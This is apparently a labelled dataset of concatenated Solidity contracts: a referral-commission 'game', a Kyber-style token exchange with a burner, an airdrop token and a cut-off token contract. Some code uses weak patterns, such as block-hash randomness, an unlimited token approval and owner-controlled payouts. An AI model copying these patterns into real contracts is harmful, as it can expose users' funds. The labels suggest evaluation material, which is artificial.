_parentAddress[i].transfer(comAmount);
}
}
}
function updatePlayerKyc(address[] _address, bool[] _isKyc) public onlyOwner{
for(uint i = 0; i < _address.length; i++) {
require(_address[i] != address(0));
playerList[_address[i]].isKyc = _isKyc[i];
}
}
function startGame() public onlyOwner {
require(currentStage == Stages.Preparing || currentStage == Stages.Paused);
currentStage = Stages.Started;
}
function pauseGame() public onlyOwner onlyStarted {
currentStage = Stages.Paused;
}
function importPlayers(
address[] _playerAddress,
address[] _parentAddress,
uint256[] _totalDeposited,
uint256[] _totalReceived,
uint256[] _totalCommissionReceived,
bool[] _isKyc) public onlyOwner onlyPreparing {
for(uint i = 0; i < _playerAddress.length; i++) {
processImportPlayer(
_playerAddress[i],
_parentAddress[i],
_totalDeposited[i],
_totalReceived[i],
_totalCommissionReceived[i],
_isKyc[i]);
}
}
function importGames(
address[] _playerAddress,
uint[] _gameHash,
uint256[] _gameAmount,
uint256[] _gameReceived) public onlyOwner onlyPreparing {
for(uint i = 0; i < _playerAddress.length; i++) {
processImportGame(
_playerAddress[i],
_gameHash[i],
_gameAmount[i],
_gameReceived[i]);
}
}
function confirmGames(address[] _playerAddress, uint[] _gameHash, uint256[] _gameAmount) public onlyCoOwner1 onlyStarted {
for(uint i = 0; i < _playerAddress.length; i++) {
confirmGame(_playerAddress[i], _gameHash[i], _gameAmount[i]);
}
}
function confirmGame(address _playerAddress, uint _gameHash, uint256 _gameAmount) public onlyCoOwner1 onlyStarted {
require(100000000000 <= _gameHash && _gameHash <= 999999999999);
Player storage currentPlayer = playerList[_playerAddress];
require(cfgMinDepositRequired <= playerList[_playerAddress].totalDeposited);
assert(currentPlayer.totalDeposited <= currentPlayer.totalAmountInGame.add(_gameAmount));
currentPlayer.totalAmountInGame = currentPlayer.totalAmountInGame.add(_gameAmount);
initGame(_playerAddress, _gameHash, _gameAmount, 0);
emit Logger("Game started", _gameAmount);
}
function sendMissionDirectCommission(address _address) public onlyCoOwner2 onlyStarted {
require(donateList[_address] == false);
require(playerList[_address].parentAddress != address(0));
require(playerList[_address].directCommission > 0);
Player memory currentPlayer = playerList[_address];
if(0 < currentPlayer.directCommission && currentPlayer.directCommission < address(this).balance) {
uint256 comAmount = currentPlayer.directCommission;
playerList[_address].directCommission = 0;
emit Logger("Send direct commission", comAmount);
currentPlayer.parentAddress.transfer(comAmount);
}
}
function sendCommission(address _address, uint256 _amountCom) public onlyCoOwner2 onlyStarted {
require(donateList[_address] == false);
require(minReceiveCommission <= _amountCom && _amountCom < address(this).balance);
require(playerList[_address].isKyc == true);
require(playerList[_address].lastReceiveCommission.add(86400) < now);
Player storage currentPlayer = playerList[_address];
uint256 maxCommissionAmount = getMaximumCommissionAmount(
currentPlayer.totalAmountInGame,
currentPlayer.totalReceived,
currentPlayer.totalCommissionReceived,
_amountCom);
if(maxCommissionAmount > 0) {
currentPlayer.totalReceived = currentPlayer.totalReceived.add(maxCommissionAmount);
currentPlayer.totalCommissionReceived = currentPlayer.totalCommissionReceived.add(maxCommissionAmount);
currentPlayer.lastReceiveCommission = now;
uint256 comFee = maxCommissionAmount.mul(commissionFeePercent).div(cfgPercentDivider);
emit Logger("Send commission successfully", _amountCom);
if(comFee > 0) {
maxCommissionAmount = maxCommissionAmount.sub(comFee);
commissionFeeAddress.transfer(comFee);
}
if(maxCommissionAmount > 0) {
_address.transfer(maxCommissionAmount);
}
}
}
function sendProfits(
uint[] _gameHash,
uint256[] _profitAmount) public onlyCoOwner2 onlyStarted {
for(uint i = 0; i < _gameHash.length; i++) {
sendProfit(_gameHash[i], _profitAmount[i]);
}
}
function sendProfit(
uint _gameHash,
uint256 _profitAmount) public onlyCoOwner2 onlyStarted {
Game memory game = gameList[_gameHash];
require(game.status == GameStatus.processing);
require(0 < _profitAmount && _profitAmount <= game.nextRoundAmount && _profitAmount < address(this).balance);
require(now <= game.nextRoundTime);
Player memory currentPlayer = playerList[gameList[_gameHash].playerAddress];
assert(currentPlayer.isKyc == true);
processSendProfit(_gameHash, _profitAmount);
}
function processDeposit(address _address) private {
Player storage currentPlayer = playerList[_address];
currentPlayer.totalDeposited = currentPlayer.totalDeposited.add(msg.value);
emit Logger("Game deposited", msg.value);
uint256 tokenSupportAmount = tokenSupportPercent.mul(msg.value).div(cfgPercentDivider);
if(tokenSupportPercent > 0) {
tokenSupportAddress.transfer(tokenSupportAmount);
}
uint256 directComAmount = directCommissionPercent.mul(msg.value).div(cfgPercentDivider);
if(currentPlayer.parentAddress != address(0)) {
currentPlayer.parentAddress.transfer(directComAmount);
}
else {
currentPlayer.directCommission = currentPlayer.directCommission.add(directComAmount);
}
}
function bytesToAddress(bytes b) public pure returns (address) {
uint result = 0;
for (uint i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 16 + (c - 48);
}
if(c >= 65 && c<= 90) {
result = result * 16 + (c - 55);
}
if(c >= 97 && c<= 122) {
result = result * 16 + (c - 87);
}
}
return address(result);
}
function processImportPlayer(
address _playerAddress,
address _parentAddress,
uint256 _totalDeposited,
uint256 _totalReceived,
uint256 _totalCommissionReceived,
bool _isKyc) private {
Player storage currentPlayer = playerList[_playerAddress];
currentPlayer.parentAddress = _parentAddress;
currentPlayer.totalDeposited = _totalDeposited;
currentPlayer.totalReceived = _totalReceived;
currentPlayer.totalCommissionReceived = _totalCommissionReceived;
currentPlayer.isKyc = _isKyc;
emit Logger("Player imported", _totalDeposited);
}
function processImportGame(
address _playerAddress,
uint _gameHash,
uint256 _gameAmount,
uint256 _gameReceived) private {
Player storage currentPlayer = playerList[_playerAddress];
currentPlayer.totalAmountInGame = currentPlayer.totalAmountInGame.add(_gameAmount);
currentPlayer.totalReceived = currentPlayer.totalReceived.add(_gameReceived);
initGame(_playerAddress, _gameHash, _gameAmount, _gameReceived);
emit Logger("Game imported", _gameAmount);
}
function initGame(
address _playerAddress,
uint _gameHash,
uint256 _gameAmount,
uint256 _gameReceived) private {
Game storage game = gameList[_gameHash];
game.playerAddress = _playerAddress;
game.depositAmount = _gameAmount;
game.receiveAmount = _gameReceived;
game.status = GameStatus.processing;
game.nextRoundTime = now.add(supportWaitingTime);
game.nextRoundAmount = getProfitNextRound(_gameAmount);
}
function processSendProfit(
uint _gameHash,
uint256 _profitAmount) private {
Game storage game = gameList[_gameHash];
Player storage currentPlayer = playerList[game.playerAddress];
uint256 maxGameReceive = game.depositAmount.mul(cfgPercentMaxReceive).div(cfgPercentDivider);
uint256 maxPlayerReceive = currentPlayer.totalAmountInGame.mul(cfgPercentMaxReceive).div(cfgPercentDivider);
if(maxGameReceive <= game.receiveAmount || maxPlayerReceive <= currentPlayer.totalReceived) {
emit Logger("ERR: Player cannot break game's rule [amount].", currentPlayer.totalReceived);
game.status = GameStatus.completed;
}
else {
if(maxGameReceive < game.receiveAmount.add(_profitAmount)) {
_profitAmount = maxGameReceive.sub(game.receiveAmount);
}
if(maxPlayerReceive < currentPlayer.totalReceived.add(_profitAmount)) {
_profitAmount = maxPlayerReceive.sub(currentPlayer.totalReceived);
}
game.receiveAmount = game.receiveAmount.add(_profitAmount);
game.nextRoundTime = now.add(supportWaitingTime);
game.nextRoundAmount = getProfitNextRound(game.depositAmount);
emit Logger("Info: send profit", _profitAmount);
currentPlayer.totalReceived = currentPlayer.totalReceived.add(_profitAmount);
uint256 feeAmount = systemFeePercent.mul(_profitAmount).div(cfgPercentDivider);
if(feeAmount > 0) {
_profitAmount = _profitAmount.sub(feeAmount);
systemFeeAddress.transfer(feeAmount);
}
game.playerAddress.transfer(_profitAmount);
}
}
function getProfitNextRound(uint256 _amount) private constant returns(uint256) {
uint256 support = supportPercent.mul(supportWaitingTime);
uint256 receive = receivePercent.mul(receiveWaitingTime);
uint256 totalPercent = support.add(receive);
return _amount.mul(totalPercent).div(cfgPercentDivider).div(86400);
}
function getMaximumCommissionAmount(
uint256 _totalDeposited,
uint256 _totalReceived,
uint256 _totalCommissionReceived,
uint256 _amountCom) private returns(uint256) {
uint256 maxCommissionAmount = _totalDeposited.mul(maxReceiveCommissionPercent).div(cfgPercentDivider);
if(maxCommissionAmount <= _totalCommissionReceived) {
emit Logger("Not enough balance [total commission receive]", _totalCommissionReceived);
return 0;
}
else if(maxCommissionAmount < _totalCommissionReceived.add(_amountCom)) {
_amountCom = maxCommissionAmount.sub(_totalCommissionReceived);
}
uint256 maxProfitCanReceive = _totalDeposited.mul(cfgPercentMaxReceive).div(cfgPercentDivider);
if(maxProfitCanReceive <= _totalReceived) {
emit Logger("Not enough balance [total maxout receive]", _totalReceived);
return 0;
}
else if(maxProfitCanReceive < _totalReceived.add(_amountCom)) {
_amountCom = maxProfitCanReceive.sub(_totalReceived);
}
return _amountCom;
}
} | 0 | 564 |
pragma solidity ^0.4.18;
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28);
uint constant internal MAX_RATE = (PRECISION * 10**6);
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS;
uint tokenDecimals = decimals[token];
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
}
interface FeeBurnerInterface {
function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool);
}
interface KyberReserveInterface {
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface ExpectedRateInterface {
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]);
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]);
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
contract WhiteListInterface {
function getUserCapInWei(address user) external view returns (uint userCapWei);
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract KyberNetwork is Withdrawable, Utils {
uint public negligibleRateDiff = 10;
KyberReserveInterface[] public reserves;
mapping(address=>bool) public isReserve;
WhiteListInterface public whiteListContract;
ExpectedRateInterface public expectedRateContract;
FeeBurnerInterface public feeBurnerContract;
uint public maxGasPrice = 50 * 1000 * 1000 * 1000;
bool public enabled = false;
mapping(bytes32=>uint) public info;
mapping(address=>mapping(bytes32=>bool)) public perReserveListedPairs;
function KyberNetwork(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
event EtherReceival(address indexed sender, uint amount);
function() public payable {
require(isReserve[msg.sender]);
EtherReceival(msg.sender, msg.value);
}
event ExecuteTrade(address indexed sender, ERC20 src, ERC20 dest, uint actualSrcAmount, uint actualDestAmount);
function trade(
ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
)
public
payable
returns(uint)
{
require(enabled);
uint userSrcBalanceBefore;
uint userSrcBalanceAfter;
uint userDestBalanceBefore;
uint userDestBalanceAfter;
userSrcBalanceBefore = getBalance(src, msg.sender);
if (src == ETH_TOKEN_ADDRESS)
userSrcBalanceBefore += msg.value;
userDestBalanceBefore = getBalance(dest, destAddress);
uint actualDestAmount = doTrade(src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId
);
require(actualDestAmount > 0);
userSrcBalanceAfter = getBalance(src, msg.sender);
userDestBalanceAfter = getBalance(dest, destAddress);
require(userSrcBalanceAfter <= userSrcBalanceBefore);
require(userDestBalanceAfter >= userDestBalanceBefore);
require((userDestBalanceAfter - userDestBalanceBefore) >=
calcDstQty((userSrcBalanceBefore - userSrcBalanceAfter), getDecimals(src), getDecimals(dest),
minConversionRate));
return actualDestAmount;
}
event AddReserveToNetwork(KyberReserveInterface reserve, bool add);
function addReserve(KyberReserveInterface reserve, bool add) public onlyAdmin {
if (add) {
require(!isReserve[reserve]);
reserves.push(reserve);
isReserve[reserve] = true;
AddReserveToNetwork(reserve, true);
} else {
isReserve[reserve] = false;
for (uint i = 0; i < reserves.length; i++) {
if (reserves[i] == reserve) {
reserves[i] = reserves[reserves.length - 1];
reserves.length--;
AddReserveToNetwork(reserve, false);
break;
}
}
}
}
event ListReservePairs(address reserve, ERC20 src, ERC20 dest, bool add);
function listPairForReserve(address reserve, ERC20 src, ERC20 dest, bool add) public onlyAdmin {
(perReserveListedPairs[reserve])[keccak256(src, dest)] = add;
if (src != ETH_TOKEN_ADDRESS) {
if (add) {
src.approve(reserve, 2**255);
} else {
src.approve(reserve, 0);
}
}
setDecimals(src);
setDecimals(dest);
ListReservePairs(reserve, src, dest, add);
}
function setParams(
WhiteListInterface _whiteList,
ExpectedRateInterface _expectedRate,
FeeBurnerInterface _feeBurner,
uint _maxGasPrice,
uint _negligibleRateDiff
)
public
onlyAdmin
{
require(_whiteList != address(0));
require(_feeBurner != address(0));
require(_expectedRate != address(0));
require(_negligibleRateDiff <= 100 * 100);
whiteListContract = _whiteList;
expectedRateContract = _expectedRate;
feeBurnerContract = _feeBurner;
maxGasPrice = _maxGasPrice;
negligibleRateDiff = _negligibleRateDiff;
}
function setEnable(bool _enable) public onlyAdmin {
if (_enable) {
require(whiteListContract != address(0));
require(feeBurnerContract != address(0));
require(expectedRateContract != address(0));
}
enabled = _enable;
}
function setInfo(bytes32 field, uint value) public onlyOperator {
info[field] = value;
}
function getNumReserves() public view returns(uint) {
return reserves.length;
}
function getReserves() public view returns(KyberReserveInterface[]) {
return reserves;
}
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function findBestRate(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint, uint) {
uint bestRate = 0;
uint bestReserve = 0;
uint numRelevantReserves = 0;
uint numReserves = reserves.length;
uint[] memory rates = new uint[](numReserves);
uint[] memory reserveCandidates = new uint[](numReserves);
for (uint i = 0; i < numReserves; i++) {
if (!(perReserveListedPairs[reserves[i]])[keccak256(src, dest)]) continue;
rates[i] = reserves[i].getConversionRate(src, dest, srcQty, block.number);
if (rates[i] > bestRate) {
bestRate = rates[i];
}
}
if (bestRate > 0) {
uint random = 0;
uint smallestRelevantRate = (bestRate * 10000) / (10000 + negligibleRateDiff);
for (i = 0; i < numReserves; i++) {
if (rates[i] >= smallestRelevantRate) {
reserveCandidates[numRelevantReserves++] = i;
}
}
if (numRelevantReserves > 1) {
random = uint(block.blockhash(block.number-1)) % numRelevantReserves;
}
bestReserve = reserveCandidates[random];
bestRate = rates[bestReserve];
}
return (bestReserve, bestRate);
}
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty)
public view
returns (uint expectedRate, uint slippageRate)
{
require(expectedRateContract != address(0));
return expectedRateContract.getExpectedRate(src, dest, srcQty);
}
function getUserCapInWei(address user) public view returns(uint) {
return whiteListContract.getUserCapInWei(user);
}
function doTrade(
ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
)
internal
returns(uint)
{
require(tx.gasprice <= maxGasPrice);
require(validateTradeInput(src, srcAmount, destAddress));
uint reserveInd;
uint rate;
(reserveInd, rate) = findBestRate(src, dest, srcAmount);
KyberReserveInterface theReserve = reserves[reserveInd];
require(rate > 0);
require(rate < MAX_RATE);
require(rate >= minConversionRate);
uint actualSrcAmount = srcAmount;
uint actualDestAmount = calcDestAmount(src, dest, actualSrcAmount, rate);
if (actualDestAmount > maxDestAmount) {
actualDestAmount = maxDestAmount;
actualSrcAmount = calcSrcAmount(src, dest, actualDestAmount, rate);
require(actualSrcAmount <= srcAmount);
}
uint ethAmount;
if (src == ETH_TOKEN_ADDRESS) {
ethAmount = actualSrcAmount;
} else {
ethAmount = actualDestAmount;
}
require(ethAmount <= getUserCapInWei(msg.sender));
require(doReserveTrade(
src,
actualSrcAmount,
dest,
destAddress,
actualDestAmount,
theReserve,
rate,
true));
if ((actualSrcAmount < srcAmount) && (src == ETH_TOKEN_ADDRESS)) {
msg.sender.transfer(srcAmount - actualSrcAmount);
}
require(feeBurnerContract.handleFees(ethAmount, theReserve, walletId));
ExecuteTrade(msg.sender, src, dest, actualSrcAmount, actualDestAmount);
return actualDestAmount;
}
function doReserveTrade(
ERC20 src,
uint amount,
ERC20 dest,
address destAddress,
uint expectedDestAmount,
KyberReserveInterface reserve,
uint conversionRate,
bool validate
)
internal
returns(bool)
{
uint callValue = 0;
if (src == ETH_TOKEN_ADDRESS) {
callValue = amount;
} else {
src.transferFrom(msg.sender, this, amount);
}
require(reserve.trade.value(callValue)(src, amount, dest, this, conversionRate, validate));
if (dest == ETH_TOKEN_ADDRESS) {
destAddress.transfer(expectedDestAmount);
} else {
require(dest.transfer(destAddress, expectedDestAmount));
}
return true;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function validateTradeInput(ERC20 src, uint srcAmount, address destAddress) internal view returns(bool) {
if ((srcAmount >= MAX_QTY) || (srcAmount == 0) || (destAddress == 0))
return false;
if (src == ETH_TOKEN_ADDRESS) {
if (msg.value != srcAmount)
return false;
} else {
if ((msg.value != 0) || (src.allowance(msg.sender, this) < srcAmount))
return false;
}
return true;
}
}
interface BurnableErc20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function burn(uint _value) public;
}
contract Burner {
KyberNetwork public kyberContract;
BurnableErc20 public destErc20;
function Burner(address _destErc20, address _kyberContract) public {
require(_destErc20 != address(0));
require(_kyberContract != address(0));
destErc20 = BurnableErc20(_destErc20);
kyberContract = KyberNetwork(_kyberContract);
}
function() public payable { }
function burn(uint maxSrcAmount, uint maxDestAmount, uint minConversionRate)
public
returns(uint)
{
uint ethToConvert = this.balance;
if (maxSrcAmount != 0 && maxSrcAmount < ethToConvert) {
ethToConvert = maxSrcAmount;
}
if (maxDestAmount == 0) {
maxDestAmount = 2**256 - 1;
}
if (minConversionRate == 0) {
minConversionRate = 1;
}
uint erc20ToBurn = kyberContract.trade.value(ethToConvert)(
ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee),
ethToConvert,
ERC20(destErc20),
this,
maxDestAmount,
minConversionRate,
0
);
destErc20.burn(erc20ToBurn);
return erc20ToBurn;
}
} | 1 | 4,695 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AbeToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Abe Token";
string public constant symbol = "ABE3";
uint public constant decimals = 8;
uint256 public totalSupply = 405000000e8;
uint256 public totalDistributed = 0;
uint256 public tokensPerEth = 15000e8;
uint256 public constant minContribution = 1 ether / 100;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = 0x8e7627731CFcC4eD493DCeb00390C0feF4F00e51;
uint256 devTokens = 150000000e8;
distr(owner, devTokens);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= minContribution );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) {
AltcoinToken token = AltcoinToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 4,257 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
